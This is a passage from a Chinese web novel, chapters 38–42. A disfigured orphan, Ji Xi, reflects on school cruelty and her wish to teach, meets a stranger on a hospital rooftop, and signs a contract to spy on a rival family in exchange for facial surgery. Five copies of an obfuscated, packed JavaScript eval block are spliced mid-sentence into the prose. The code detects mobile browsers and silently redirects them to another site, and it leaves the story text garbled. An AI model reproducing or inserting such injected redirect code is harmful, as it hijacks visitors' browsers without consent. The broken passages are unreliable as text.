程景逸叹了口气，他拍拍季希的肩膀，以示安慰。 38. 万里乘风且逍遥 季希：“或许有人会认为，每个人都需要为自己的行为付出代价，没扛过去的人都只是软弱无能的懦夫和loser，不值得怀念。但事实究竟是怎样的呢？谁知道呢？毕竟活在世上的人没有谁是全知全能的造物主，也没有谁可以代表天道。” “但起码有一点，命好的人真的不应该高高在上地指责命运多舛之人的纠结与迷惘、悲伤与挣扎。” “这些多说无益，回到正题吧。” “每个人都只会活在自己的生命轨迹中。没有人可以真正地体会你的心情，为你设身处地的着想。” “这其实是一件非常普通、非常正常的事情。每个人在一生中都会体会到这种心情。” “这真的是一件再普通不过的事情。” “但是于我而言，很遗憾的一点就是，我竟然是在人人称道的象牙塔里体会到这些。每个人都只是展现最普通的人性，但偏偏叫我感受到苦痛和伤害。” “就当我软弱无能吧，可惜这一课没有等到我出社会再教我。” “在学校里经历这些，我该如何喜欢学校，如何喜欢老师呢？” “程景逸，我真的很庆幸，我竟然碰见了你。你给予了我作为一个人而言最为平等的尊重、认同与信任。” “你就像是武侠小说中从天而降的侠客，扶危济困，行侠仗义，扶助弱小。” “你不害怕我拖累你。你帮助了我，不是因为看中我什么，也不是图我什么，更不求什么回报。你仅仅是为了你心中的道义，就可以挡在我身前，为我撑起一片生存的空间。于你而言这些也许不算什么，但于我而言，这是生的希望。” “我见识过这个世间最黑暗的人性。在你带着我找快乐之前，我曾经讨厌这个世界，厌恶这个世界，甚至无差别地憎恨这个世间的所有人。” “是你让我认识到，这个世界真的也存在着美好的人性。我惊讶地发现，人性竟然也有美好的一面。” “原来真的有人可以不为利益、不为名利，就是为了心中的道义和人生信条，就能和我站在一起。” “因为有你的存在，我也想成为和你一样的人，将这份温暖和力量传递下去。” “其实，说老实话，我本来也不应该强求那些人帮助我，因为自扫门前雪就是人的天性。他们不愿意为我说话，只是做了普通人都会做出的选择，这是正常的人性。我其实没有理由苛求更多。” “不过，我还是认为，正常的存在并不代表着是正确的存在。从事某些职业的人本不应该这样的。作为这些职业的从业者，如果他们仅有技术能力，却没有道德品质，他们是不合格的。” “所以我想当老师。我自己淋过雨，就想为后来人撑把伞。也许我的力量有限，但是只要能少让一个学生淋一滴雨，为一个学生带来一点点温暖，我的存在就是有价值的。” “我自己经历过，所以我知道，有时候就是这样的一点点萤火，就可以让人重新燃起生的希望，重获新生。我虽然只是一个很普通、很平凡的人，但我愿意为了这样一点光明而燃烧自己，贡献自己微弱的光亮。” “这萤火与烛光虽然弱且小，却也代表着我的信条和主张。” 在阐述这样一番话时，季希的神情和以往完全不同。 仔细听完季希的话语，程景逸肃然起敬：“没想到你竟然是抱着这样的想法……” 季希的笑容带着些腼腆：“也许你会觉得我的这种想法十分天真幼稚吧，不过，起码到目前为止，这就是我的梦想，这是我想为之奋斗的事业。” 程景逸真诚道：“我并不觉得这种想法有多幼稚，每个人的梦想都值得尊敬。” 季希微微叹口气：“主要我如今是真真切切地感受到了教育的重要性。” “年前的那段时间，我在市图书馆找了许多有关教育学的书来看，因此我现在对教育有了更深刻的认识。” “一般而言，教育可以分为家庭教育和学校教育。” “然而对于我这样的人而言，家庭教育是缺失的，因为我根本没有家庭，我是一个没有父母的人。” “而学校教育在我这里显然也是失败的，在学校里我只学到了课本上的知识，但是做人做事的道理以及人立于世所需要的品德，没有老师以身作则地教我们。” “相反地，借着我碰到的这些糟心事，学校教给了我许多负能量的东西。如果不是碰到了你这么耐心地引导我，光凭我自己，可能很难消化掉这些。就算是我自己能行，也会花费很长的一段时间，甚至极有可能需要用一生去和那个在这段经历中受伤的自己达成和解。” “其实最近这些日子我常常有些后怕。那天在教学楼的顶楼天台，如果你没有拦住我的愤怒之举，也许等待着我的就是铁窗泪。” “可是对当时的我而言，我的愤怒没有出口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577989|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，不燃烧他人，必吞噬自己。所以我是抱着死志想要同归于尽的。” “还好，堕崖之前，你拉住了我。” “仔细想想，不称职的教育、不作为的学校和老师、再加上学生的无知之恶，这些所有因素带来的坏影响不仅仅局限在某个学生的个体悲剧上，甚至有可能是社会性的。不然那些社会新闻是怎么来的呢？” “然而，教育行业本不该对学生、对社会产生这么坏的影响。” “我本来以为，学校教育的首要目的就是教书育人，为国家培养人才，帮助学生塑造和完善人格，引导学生更好地融入社会。后来才发现，要想实现这些，其实也不太容易。” “想到这里，我原本非常愤怒，这个世界难道就如此不公平吗？” “如果一个人没有足够的幸运去获得合格的家庭教育与学校教育，难道这个人就只能成为那些自以为是的人口中所谓的失败者与社会渣滓吗？” “实话实话，光是提出这个问题，就让我十分火光。” “不过，我后来在《孟子》里读到一句话——行有不得，反求诸己。这句话让我醍醐灌顶。是啊，人不应该总从外界寻找原因，也不应该把遇到的所有问题都推到别人的身上。没有人会真正在意你，你必须自救。” “即便没有遇到好学校和好老师，即便没能拥有好家庭与好父母，人难道不可以进行自我教育吗？很多人没有那么幸运能碰见好的环境和好的人，那完全可以自己教育自己，自己塑造自己，自己成就自己。” “人心的力量是无穷的，一个人完全可以通过自我教育，来塑造和完善自己的人格，自己引导自己融入社会，找到自己的价值所在，使自己成为国家需要的人才，在社会中找到自己合适的定位。” “也许命运随时会掀起滔天巨浪，可我人生的这叶扁舟即便再简陋，也必须由我自己掌控。” 这些话语动人，让程景逸心生向往，他道：“那就一起努力吧，如果有机会的话，我想跟你一起，实现这个梦想。” “好。”季希，“倘若你以后也站在三尺讲台上，我就许你三个愿望。到那时，你可一定要记得来找我兑现。” 程景逸：“一言为定。” // 『君本少年游侠客，熠熠红尘第一流。』 『愿卿磊磊沧浪行，万里乘风且逍遥。』 ——【第一卷完】—— 39. 长夜独行 ——【卷二·暗夜】—— 『在寂静无人的生命旷野，在无人搭救的每个时刻，你终将为自己燃起火焰，熠熠生辉。』 // 南庐市人民医院。 拂晓，顶楼天台。 霞光冲破云霄浸染了整片天空的那一刻，季希露出这段时日的第一个笑容。 可惜，那笑意被满头的纱布掩盖，并且还牵扯到脸上的多处伤口，痛得她连忙压下嘴角。 季希原本抱膝坐在天台上平坦的水泥地上。 此时的她却想着要把那从天际线一点一点浮出的太阳看得更清楚些。 于是她干脆站起来，爬上顶楼边缘的矮墙高处。 蹲在毫无防护的高空，视线瞥到距离这里很远的地面。 她直观地感受到自己正濒临死亡。 季希以为自己一定会害怕地瑟瑟发抖。 可当她鼓起勇气在狭窄的台子上站直身体，才发觉自己的内心异常平静。 如果连生死都可以置之度外，她还有什么可担忧、可顾虑的呢？ 就答应那个人的条件吧。 她想要做成一件事，付出代价是应该的。 这很合理。 不知立在这里多久，季希的腿有些酸麻。 没敢乱动，忍着想要跺跺脚的冲动，她缓了一会儿，等到血液重新在腿部正常流通，她才不那么僵直地放松下来。 这个过程中，季希也已经想清楚应该如何抉择，心情不再那般沉重。 清风拂面，她被纱布包裹的面颊似乎也不那么痛楚了。 原来，日出不一定非要到山顶去看，在楼顶也是一样的。 熟悉的情景，可惜身边独少一人。 季希情不自禁低声哼唱起程景逸给她写的那首歌。 “冬日的单车，正月的烟花。” “你说氛围浓度有点高，我说倾盖如故心花放。” “假山，凉亭，湖水，顶楼。” “因我而入局的姑娘，请让我护你走。” “幸运单词书，廊下腊梅树。” “你说你不是温室的名花雅木。” “江中立礁石，路边生野草。” “审判作恶者，锋利水果刀。” “来一个杀一个，人间绝不白走这一遭。” “舟毁人亡，人仰船翻。” “食人草喷毒液，恶鬼通通退散。” “屠龙少年，终成恶龙。” “乖张狠辣，破碎温柔。” “浴火重生，岁月黑暗。” “冲云破雾，千锤百炼。” “顽强不屈，野蛮生长。” “奋力挣扎，勇敢对抗。” “山顶日出，神秘海底。” “镜花水月的快乐，鲲鹏扶摇九万里。” “广袤自然，广阔天地，境随心转，这世界有你存在。” “星星高悬，暗夜微茫，独属于你的锚点，对世界重新拥有期待。” “人的身体不堪一击，人的意志不可战胜，人的精神无比强大，人的生命无限力量。” “何必掩饰，何必怀疑，若无来路，去寻归途，做你自己，乘风破浪。” “苦痛是人生底色，苦难是红尘常态。” “生而为人，众生皆苦，命运何怪。” “劝卿莫踏那屠龙少年不归路。” “鲸鲨自在游弋，带你寻觅人生归处。” “你说我救你，我说你渡我。” “谁是谁的因，谁是谁的果。” “生命的奇迹，暗夜戈壁的努力。” “拯救你的一直都是你自己。” “你生命的富饶，无二且独一。” “拿起你的长刀，庆幸你不是易凋零的花。” “半身跌入深渊的你勇敢向上吧。” “潇洒快意，游历天下。” “你山水一程的风雨之路，可有我相伴。” “高山流水觅知音，坦荡洒脱肝胆照。” “愿卿磊磊沧浪行，万里乘风且逍遥。” 天光逐渐大亮，季希明白，再不离开，怕是就要被人看见了。 她不想引发社会新闻。 季希转身，轻巧地从矮墙蹦下。 脚踩在天台的地面上，很踏实。 季希准备离开，却在经过花架时冷不丁瞧见那里站了一个青年人。 黑衣黑裤，虽然戴着口罩，却仍能瞧出长身玉立、温文尔雅之感。 她天还没亮就来天台了，那时候这人应该还不在这儿。 只是，她后来也没听见脚步声，这人什么时候来顶楼的？ 反正自己满脸都是纱布，这人也不知道她长什么样子，无论他瞧见什么都无所谓。 想到这里，季希打算忽略这个人，径直离开。 谁知，还未等她动作，也许是因为她刚刚盯着对方瞧的时间颇久，那青年忽地开口道：“歌不错，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577990|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己写的？” 季希：“不是，朋友写的。” 青年：“胆子倒是挺大。你知道这栋楼有多少层吗？” 季希今天做了一个很重大的决定。 因此，她想要彻底改变自己以往的性格。 她必须成为一个和过去完全不同的人。 若是按照往常自己的戒备心，她肯定不会理这人，估计为了安全考虑，还会转身就走。 但此刻，季希装出很凶的样子，反唇相讥道：“你既然知道这是几层，刚刚你怎么不救我，反而冷眼旁观？” 青年：“我在你的歌声里没有听出死亡的气息，反而捕捉到几丝战意。” 闻言，季希开始思考，到底什么是战意。 青年又道：“你是想要变强大吗？可惜色厉内荏是不行的，由内而外的强大才是真正的强大。” 季希：“你话很多。” 青年：“我看人很准，不会看错。” 季希撇嘴。 突然想起自己的表情被纱布裹着，对面这人瞧不见。 季希便专门翻了一个很明显的白眼给他看。 青年轻笑出声：“小姑娘，怎么，看你这样子，和人打架了？伤的还挺严重，难不成是没打赢，被欺负了，所以心情不好，来天台思考人生？” 其实季希在和这人聊了几句之后，心里不知为何，升起有一股隐秘的担忧。 她不知道这个人是不是在等她离开，不知道这人会不会在她离开天台后便纵身一跃。 她没有这人这么好的眼力。 他能从她的歌声里听出她不会跳下去。 可她却无法从他的言行里判断出，他是否万念俱灰。 季希没想到，她自己都已经是泥菩萨过河了，竟然还有心情管别人的事情。 可是如果就这样不管，她的心里又实在很愧疚。 自嘲一笑，季希告诉自己，就当是为着他听出了她的战意吧。 虽然萍水相逢，但多少懂她几分。 季希学着这人的样子也靠在花架上，模仿他的语气说道：“我看你年纪也不大，也还是个学生吧，什么小姑娘、小姑娘的。小伙子，怎么，看你这样子，虽然没打架，但是也遇到难事了吧？说出来本姑娘帮你想想办法。” 青年沉默了许久。 季希本以为对方不会回答这个问题了，她转身，打算离开天台。 这时候，青年开了口：“我只是，在面临一个抉择。” 40. 长夜独行 季希感慨道：“那看来你也有一个不太好的习惯。” 见青年的目光中带了些许疑惑，季希解释道：“你似乎和我一样，都喜欢在做决定时到无人的高处看看。” 讲到这里，她瞥了对面的人一眼，试探着补充了一句：“可惜偶尔会被人误会成要做傻事？” 青年：“嗯，我没有误会你，希望你也不要误会我。” 季希松了一口气。 她再也不想看见有人死在她面前了。 青年似乎觉得她的反应很有趣，问道：“你今年多大了，看起来应该才上高中？你有什么需要做的重大决定？” 季希没告诉他自己还在上高一，毕竟她这个书也不知道还能不能继续读下去。 因此她只道：“是很重要的决定，可能会改变一生的那种。” 青年：“也别给自己太大压力。高中呐，多美好的时光，是所有人都朝着一个目标闷头努力的时候呢。” “我的事情很复杂，你不会懂的。”季希没法解释，只得转移话题。 她看向对面这人，根据他的穿着打扮以及声音猜测道：“你呢，你是大学生吗？你有什么重大抉择，居然这么为难，是找工作吗？难道是选择太多，挑花了眼？可如果是这样的话，你为什么要来医院？” 青年默然片刻，才道：“我来体检。” 这似乎默认了他是大学生？ 季希上下打量着他，只感觉此人有一种难以捉摸的气质。 他虽然瞧着一派儒雅斯文，实际上却像一只蛰伏的猎豹，清俊的外表之下，潜藏着随时在某个时刻暴起捕食的凶猛。 想起江省警官学院就在这附近，季希不确定地问道：“你不会是警校的吧？” 青年的声音微凉：“别瞎打听。知道太多的人，容易被灭口。” 季希翻了一个白眼，不服气道：“我脸上都是纱布，你也戴着口罩。咱俩又没有互通姓名，谁都不认识对方。并且人海茫茫，今天走出天台这个门，以后估计都不会再见面了。” “难得咱俩都有重大决定要做，既然老天给我们这个缘分在今天相遇，说不定就是让我们给互相解惑的。那么紧张干什么，好像谁没个机密似的。我的秘密不一定比你小……” “好好，你的秘密大。”青年似乎笑了一下，他语气微顿，才道，“我给你打个比方吧。” “如果所有人的目标都是要攀登一座山峰，但是，有的人可以白天在阳光下光明正大地行走，有的人却只能在暗夜里不见天光的时候潜行。” “最终到达终点，不论是白天还是黑夜里行走的人，都为此付出许多努力。可人们往往只能看见阳光之下的人的付出。暗夜里的人，始终要潜藏在夜幕之下。” 季希心内五味杂陈。 这描述的，不就是她将要做的事情吗？ 青年：“如果是你，你愿意走进这黑夜吗？” 季希的回答很迅速，没有丝毫犹疑：“如果没有其他的选择，为什么不呢？” “不是每个人都有资格在阳光下行走的。站在光明与黑暗的岔路口，常常推动我们做出选择的，不是我们自己，而是命运。” 就像她。 如果不是南山森林公园的这场大火，她的脸便不会被烧伤。 如果不是由于脸被烧伤，她现在根本就不需要面临什么抉择。 可一切没有如果。 对现在的她而言，她除了接受姓严的给出的条件，她还有其他的路可走吗？ 其实是没有的。 因为她想活下去。 堂堂正正、有尊严地活下去。 光明和黑暗很难选。 但生门和死门却不难认。 “而且——”季希耸耸肩，无所谓道，“白天走还是黑夜走，真的区别很大吗？” “白天有白天的美景，夜晚也有夜晚的奇遇。” “白天有太阳普照，夜晚同样也有星月为伴。” “更何况，你难道不知道，自然界里的猛兽都是在黑夜里狩猎的吗？” 讲到这里，她有感而发：“也许命运将你推进黑暗的时候，不是为了将你消灭，而是为了让你发现你自己的强大。” 季希的声音很轻，这些话既是在劝慰这萍水相逢的有缘人，也是在劝解她自己：“没准，其实不是命运为你选择了黑夜，反而是因为你本身就属于黑夜，命运才为你指引了一条发现自我的路径。” “有的人呐，只有在最漆黑的夜幕里，才最璀璨。” 青年：“你是在安慰我吗？” 季希反问道：“你一个堂堂男子汉，需要我一个小姑娘的安慰吗？” 青年：“你终于承认自己是小姑娘了。” 季希为自己的一时嘴快懊悔一秒钟，才道：“小伙子，我刚说的话是事实。我也确实是这样认为的。” 青年不由得感慨：“现在的学生们都这么厉害了？三人行，必有我师，古人诚不我欺也。小姑娘，谢谢你。” “小伙子，是你有悟性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577991|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”季希摆摆手谦虚道。 继而她又觉得不对劲：“你明明自己也是学生……” 青年失笑：“我有时觉得你天真，但有时候又感觉你很沧桑。你似乎是一个很有故事的人。” 季希：“彼此彼此。” 两人于是都默然无言，各自靠着花架思考着自己的抉择。 良久，青年直起身：“不早了，我得走了，小姑娘，有缘再会。” 季希抬手轻挥，表示自己知道了。 只是，当这人的背影即将消失在门后时，季希喊住他：“小伙子。” 青年回首：“你还真是一点亏都不肯吃，说吧，有什么事？” 季希小跑几步到他面前。 这人真的很高啊。 她肃正面色，认真问道：“你是怎么选择的，你会走进黑夜吗？” 青年戴着口罩，叫人看不清他口罩之下的神情。 但他露出的那一双弯弯的眉眼，顾盼神飞，十分俊朗。 季希轻咳一声，立马指出：“你在笑。” 她有些不悦：“为什么，难道这个问题很好笑吗？” 青年：“用你的话说，也许这世上真的存在命运吧。” “那么，如果命运让我们今后有机会再见，到时候你就会知道我的选择。” 季希皱眉：“可是即便再见面，咱俩互相都不见得记得对方，更遑论认出人来。” 青年却道：“是吗，那你可要记住我，我也会记住你的。” 季希：“话谁不会说呀。出了这个门，你还认你说的话吗？” “你怎么知道，我不认呢？”青年，“不过，你就这么自信，以后再见面的时候我会认不出你？” 季希指着自己脸上的纱布道：“我脸上都是纱布，包着脸呢。” 青年看着她，忽地矮下身子，视线和她平齐。 季希被他盯得莫名：“怎么了？” 青年轻轻笑起来，留下一句话，挥挥手，转身潇洒地离开了这里。 他说的是：“可我们这种人，认人从来不靠脸。” 我们？ 是哪种人？ 季希盯着他的背影发愣。 晨光熹微，本该一片温暖，不知为何，季希却打了个寒噤。 长夜，将至。 她不禁问自己—— 若生命的永夜降临，你一人踽踽独行，是否能始终做一个未改初心的勇士，坚定且无畏地向前，不论这一程，是否有同行者相伴。 41. 长夜独行 离开天台以后，季希没有回病房。 此刻，她站在一间办公室门前。 被纱布裹着脸，她的表情无人知晓。 唯有那露出的双眸，将她沉甸甸的心情显露一二。 季希知道，有些决定一旦做下，恐怕就再也无法回头。 但她没有其他选择。 咚咚咚。 深吸一口气，季希坚定地叩响房门。 里面传来一声“请进”。 季希推门而入：“严医生。” 严靖诚见到来人，脸上露出一抹笑容：“我就知道，你会主动回来找我。” 季希好似从中看出几丝阴森，再定睛朝严医生脸上看去，却瞧不出什么。 严靖诚指向办公桌前的座椅：“请坐，小季同学。” 季希开门见山道：“严医生，你说的约定，还作数吗？” “当然。”严靖诚起身，从背后的书柜中取出一个文件袋，将里面的一沓A4纸摆在季希面前，“看看，这是合同，白纸黑字，童叟无欺。” 季希拿起合同细看，低头的时候不小心牵动脸上的伤口，忍不住痛呼：“嘶。” 严靖诚道：“小季同学，你何必犹豫呢，做决定果敢一点。即便你想等，你的脸却等不了。你考虑的时间越久，你的伤口就痛得越久。” 见季希没有反应，严靖诚靠在椅背上，漫不经心道：“更何况，我们这是互利互惠。” “我给你免费治脸，做整形修复，送你一张漂亮的脸蛋。” “你需要做的，只是接近林家人，替我搜集传递情报。” “林家的小女儿跟你不是有过节吗？林家倒台，应该也是你喜闻乐见的事情。” “和我交易，你一能变美，重获新生；二能复仇，出心中恶气。如此好事，何乐而不为呢？” “严医生真是好口才，您当医生，真是浪费了您这张巧嘴。”季希目光犀利，“您光提好处，怎么不提这件事情的危险。” “我避林晶如避豺狼虎豹，她已经把我赶出学校，如今我难道反送上门让她吞食吗？” “正所谓，富贵险中求。”严靖诚盯着季希，毫不留情地问道，“你难道就愿意一直顶着这张满是伤疤的恐怖面容苟活一辈子吗？” 他拿出一面镜子，对准季希的脸，让季希看清楚自己在镜中的模样。 虽然在镜子里只能看见纱布，但季希心里知道，纱布下是怎样可怖的伤疤。 她已经住院许久，身上各处的伤都好了大半，唯有这张脸，彻底毁了。 “小季同学，”严靖诚的声音带着某种蛊惑，“你想想，顶着被烧成这样的一张毁容脸，你以后能做什么工作？能交什么朋友？你觉得你还能顺利结婚生子吗？” “顶着这张脸，你的人生就毁了。” “而这一切，是谁造成的？” “是林家的小女儿。” “只要林家屹立不倒，害了你和你朋友的她，就永远是林家的小公主，享尽荣华富贵。” “而你，就永远只能在阴暗处挣扎……” “说够了吗？”季希打断他道，“都说医者仁心，可严医生你真的很恶劣。” “只是说一说而已，这样你就受不了？”严靖诚玩味道，“那如果这些在以后都变成现实，你岂不是要绝望死？” 季希握紧拳头。 严靖诚观察着季希眼里汹涌的情绪，笑道：“愤怒吗？” 他打了个响指，强调道：“这就对了。” 季希情绪一激动，面上的伤口便愈加难受，渐渐连呼吸都有些不通畅。 她反复地深呼吸，让自己平静下来，不断地在心里告诉自己，不要被对面这人的言语挑起情绪的变化。 严靖诚就仿佛看戏一般盯着她。 季希将脸撇开，不去看他脸上无情的笑。 过了几秒钟，她又低下头，继续翻阅合同。 她本就已经决定和这人合作，只是为了谨慎起见，合同还是要仔细地看。 严靖诚也不在意，他起身，悠闲地取出茶叶，为季希和自己泡茶。 严靖诚将一杯茶放在季希面前，见她合同看的差不多了，又道：“这个世界本就不公平。恶人享追捧，善人落尘泥。” “因为根本无人去辨善恶。人眼里盯着的，都是强弱。” “现在的事实就是，她强，你弱。” “所以最后的结果是，她笑，你哭。” “你说，我总结的到位吗，小季同学？” 季希从牙缝里蹦出两个字：“到位。” 她无从反驳。 这就是事实。 无法回避的事实。 “所以啊，敌人如此强大，”严靖诚端起自己的茶杯，轻轻和季希的茶杯相碰，“我们才更需要合作，共赢。” 季希：“我有一个问题。” 严靖诚放下茶杯：“请说。” 季希：“你和林家有什么仇？” 严靖诚面无表情：“这和你无关。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577992|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>季希皱眉道：“我以为，合作者之间，应该给出最起码的真诚。” “严医生，你对我的信息了如指掌。但我却并不了解你。如果合作的双方不能够让对方安心，这样充满猜忌的合作，恐怕很难长久。” “你如果真得希望我可以替你探听出一些有用的信息，帮你扳倒林家，你就应该让我对你安心。” 严靖诚：“也罢，为了让我们的小季同学安心，我可以告诉你。” “不是我和林家有仇，而是我背后之人与林家是对家。” 季希疑惑：“你背后之人是谁？” 严靖诚：“你知道范氏集团吗？” 季希点头：“很有名。” 严靖诚：“我背后是范家人。” 原来是大佬们要打擂台，需要一些小鱼小虾冲锋陷阵。 如果只靠她的力量来对抗林家，就如同蚍蜉想要撼动大树，那她这辈子恐怕都很难如愿地让林晶受到惩罚。 但范氏和林氏旗鼓相当，说不定范氏真的有这样的能量，可以让林家栽跟头。 如果林家倒了，失去庇护的林晶，还能逍遥法外吗？ 季希：“为什么是我？” 严靖诚眼神微闪，他道：“你和林家有仇，不会轻易倒戈。” “而且你因为烧伤需要做整形手术，换脸之后，你就是没有过去的人，不用担心被以前认识你的人认出来。派你这种人去做卧底，很合适。” 季希沉吟。 严靖诚：“可以签了吗，小季同学？” 最终，季希在一式两份的合同上签下自己的名字。 看着严靖诚笔走龙蛇的签名以及自己略显稚嫩的字迹，她的心里浮出许多担忧。 她以后会面临怎样波诡云谲的处境呢？ 连和严靖诚这样的人打交道她都无法占上风，她又该如何接近林家？ 但是也没其他的办法了。 只能兵来将挡，水来土掩，走一步看一步了。 严靖诚检查好两份合同，将其中一份递给季希：“小季同学，请收好。我会很快为你安排整形修复手术，一切费用你都无需操心。包括你之前这段时间在医院的一切费用，我都会为你解决。” 季希：“看在我拿的是卖命钱的份上，我有一个要求。” 严靖诚：“你说。” 季希捏着A4纸，说道：“我想，要一张好看的脸。” “你放心，我亲自操刀，”严靖诚笑得意味深长，“这张脸呢，非常美丽。” 42. 长夜独行 一年半以后，隆冬时节。 深夜，月光透过窗棱洒在女孩儿的脸上，映照出她紧促的眉和额头上的汗珠。 在梦里，一片熊熊烈焰，火光冲天。 有一道曼妙的身影在崖边被人推下悬崖。 热浪喷涌而至，将一切烧成灰烬。 “好痛……不要！”季希呜咽着惊醒。 她睁开眼，只见室内是一片陌生的昏暗。 这不是她在福利院的宿舍。 季希惊恐地坐起身。 突然意识到这里是严靖诚让她暂住的公寓，季希的心中才缓缓松下一口气。 起身开灯，瞥见穿衣镜中一张完全陌生的面孔，季希被吓了一跳。 后之后觉地想起那是她自己，季希不由得捂住眼睛，露出一抹苦笑。 她今天这是怎么了，竟一惊一乍的。 季希倒了一杯水，缓缓喝下。 平复心情以后，她想，也许是因为又梦见叶时冉的缘故吧。 季希明白，她的复仇其实并不坚定。 当人被逼迫到一个愤怒和不甘的临界点的时候，会冲动地想要用尽一切力量，去撕破黑暗与不公，去复仇。 在被胁迫的边缘，在濒死的时刻，复仇的愿望达到巅峰。 但是一旦当人有了喘息的机会，当接触到人间，那些愤怒和不甘渐渐会被时间消解。 因为没有人会真的愿意长久地在黑暗深渊里仰望人间。 向往人间，走进人间，是人的本能。 所以在偶然地一些瞬间，她常常会有一种今夕何夕之感。 她究竟，是怎样，把她自己的人生过成了现在这个样子。 她到底，怎么就走上这条路了。 可每当她坚持不下去时，每当信念有些许动摇之时，那个崖底冤魂都会出来提醒她。 她应该坚持走下去。 不要质疑。 不要回头。 勇敢地走下去。 窗外天尚未亮，星月高悬。 季希再无睡意，拿出一个笔记本，开始在纸上写写画画，分析目前的情况。 大概一年半以前，她和严靖诚达成交易，这才能够治疗脸上的烧伤。 做完手术以后，她养病休养了大半年。 如今，她不仅长得和以前完全不一样，连名字也换成新的。 现在，她叫做容清洛。 这个名字是她自己取的。 严靖诚为了让她的身份不被怀疑，在她做了烧伤整形修复手术以后，就去福利院办理手续，收养了她。 这样做的目的，一方面是不要让原来认识她的人把她现在这张脸和季希联系起来，另一方面是在为她之后接近林氏埋伏笔。 她需要一个新的身份。 因此，严靖诚要给她改名字。 原本这个名字应该是以“严”字为姓氏的。 但是季希不乐意。 当时她说：“我们本就是在做交易，你不是真的收养我，我也不是真的要给你当女儿。我不跟你姓，我要自己取名字。” 严靖诚没说什么，只是问她想要叫什么。 季希想起她曾经对程景逸说的话。 天容海色，吾本澄清。 所以季希说：“容清，我要叫容清。” 严靖诚沉吟半晌：“不如叫容清洛吧。只有两个字的话，容易重名。而且加一个洛字，显得抑扬顿挫，更好听些。” 季希那会儿刚做完手术，术后恢复等等还需要严靖诚的帮助，她不想和严靖诚因为这些事情闹得太僵。 念了几遍容清洛，觉得这个名字不算难听，季希就同意了。 从此，世上再无季希，只有容清洛。 容清洛深深叹气。 她的这个选择究竟是对是错呢？ 容清洛摇摇头。 不论如何，就算不是为了她自己，哪怕是为了还埋在崖底的叶时冉，她都不应该再质疑对错，也不应该退缩。 余光瞥见摆在书桌左侧的一本相册。 容清洛拿起来，只见相册的封皮上有人笔走龙蛇地写着几个大字——“快乐书”。 下面是一行小字——“赠季希”。 容清洛摩挲着“季希”二字，告诉自己，忘掉季希这个名字，才能用新的身份去完成任务。 她起身，将这本相册放进收纳箱的最底层，盖子合上的瞬间，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577993|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明白，她也应该把对程景逸的想念一同收起。 院长妈妈已经去世，程景逸也杳无音信，没有人再护着她。 她必须自己面对一切。 就这样坐在书桌前思索良久，终于，东方将白，她的闹钟响起。 容清洛关掉闹钟，开始洗漱。 她如今每天在一家书店打工。 当初，她刚出事，浑身的伤，哪顾得上治疗毁容的脸，只想着保下命来。 就在她满头满脸都是纱布的情况下，林晶闯进她的病房。 大小姐纡尊降贵来到拥挤的病房，满脸嫌弃地让跟班把她留在学校的课本和作业一股脑扔在地上，留下一纸退学通知，然后便扬长而去。 在医院里苟延残喘的时候，她就这样失学了。 容清洛当时只有无能为力的满腔愤怒。 如今细细回想，容清洛品出一丝不同来。 林晶之所以这么想把她赶走，固然有程景逸的缘故，但是恐怕还有一个更重要的原因。 当时在南山森林公园，她被打得奄奄一息，却并非完全昏迷。 她其实见到了叶时冉被林晶推下悬崖的那一幕。 